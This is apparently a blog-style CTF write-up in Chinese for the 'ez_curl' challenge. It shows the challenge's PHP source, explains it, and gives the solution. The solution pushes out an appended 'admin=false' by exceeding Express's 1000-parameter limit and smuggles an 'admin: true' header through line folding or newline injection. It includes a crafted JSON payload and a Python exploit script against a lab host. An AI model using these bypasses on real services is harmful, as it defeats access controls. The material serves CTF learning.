攻防世界ez_curl
- ctf
- 2023-08-23
- 1886热度
- 0评论
<?php
highlight_file(__FILE__);
$url = 'http://back-end:3000/flag?';
$input = file_get_contents('php://input');
$headers = (array)json_decode($input)->headers;
for($i = 0; $i < count($headers); $i++){
$offset = stripos($headers[$i], ':');
$key = substr($headers[$i], 0, $offset);
$value = substr($headers[$i], $offset + 1);
if(stripos($key, 'admin') > -1 && stripos($value, 'true') > -1){
die('try hard');
}
}
$params = (array)json_decode($input)->params;
$url .= http_build_query($params);
$url .= '&admin=false';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
curl_setopt($ch, CURLOPT_TIMEOUT_MS, 5000);
curl_setopt($ch, CURLOPT_NOBODY, FALSE);
$result = curl_exec($ch);
curl_close($ch);
echo $result;
Express是一个流行的Node.js Web框架,它提供了许多有用的功能来构建Web应用程序。其中之一是参数解析,它允许开发者解析HTTP请求中的参数。Express提供了许多选项来配置参数解析。其中之一是parameterLimit选项。
parameterLimit选项用于指定query string或者request payload的最大数量。默认情况下,它的值是1000。如果你的应用程序需要解析大量的查询字符串或者请求负载,你可能需要增加这个限制。例如,如果你的应用程序需要处理非常长的查询字符串,你可以将parameterLimit设置为一个更高的值。
for($i = 0; $i < count($headers); $i++) { ... }:遍历$headers数组中的每个元素。- 在循环内部:
stripos($headers[$i], ':'):查找当前头部中冒号的位置,以分离键和值。substr($headers[$i], 0, $offset):提取冒号之前的部分,即头部键。substr($headers[$i], $offset + 1):提取冒号之后的部分,即头部值。
- 条件判断部分:
stripos($key, 'admin') > -1:检查头部键是否包含子字符串 "admin"。stripos($value, 'true') > -1:检查头部值是否包含子字符串 "true"。
- 如果上述两个条件都为真(即头部键包含 "admin",头部值包含 "true"):
die('try hard'):终止脚本执行并输出消息 "try hard"。
题目两个技巧分别是:
- express的parameterLimit默认为1000
- 根据rfc,header字段可以通过在每一行前面至少加一个SP或HT来扩展到多行
在 app.js 中,有如下判断:
req.headers.admin.includes('true')
也就是说,在nodejs的逻辑判断中,只要 admin 的值包含 true 即可。
当我们传入的参数超过1000个时,之后的参数会被舍弃掉。于是这里我们最开始发个"admin":"t"设置好admin的值,加上999个没用的参数,把程序拼接的&admin=false挤掉,即可绕过过滤。
至于headers,注意到" true: t"里面有个空格了吗?SP指的是空格,HT指的是制表符
解析时,会得到如下数据:
{
"admin": "x true y"
}
可以抓包,改包
{"headers":["admin: t",
" true: t"],"params":{"admin":"t",
"2":"1",
"3":"1",
…
"998":"1",
"999":"1",
"1000":"1"
}
}
也可以借助其他师傅的脚本
import requests
import json
from abc import ABC
from flask.sessions import SecureCookieSessionInterface
url = "http://61.147.171.105:58830/"
datas = {"headers": ["xx:xx\nadmin: true", "Content-Type: application/json"],
"params": {"admin": "true"}}
for i in range(1020):
datas["params"]["x" + str(i)] = i
headers = {
"Content-Type": "application/json"
}
json1 = json.dumps(datas)
print(json1)
resp = requests.post(url, headers=headers, data=json1)
print(resp.content)

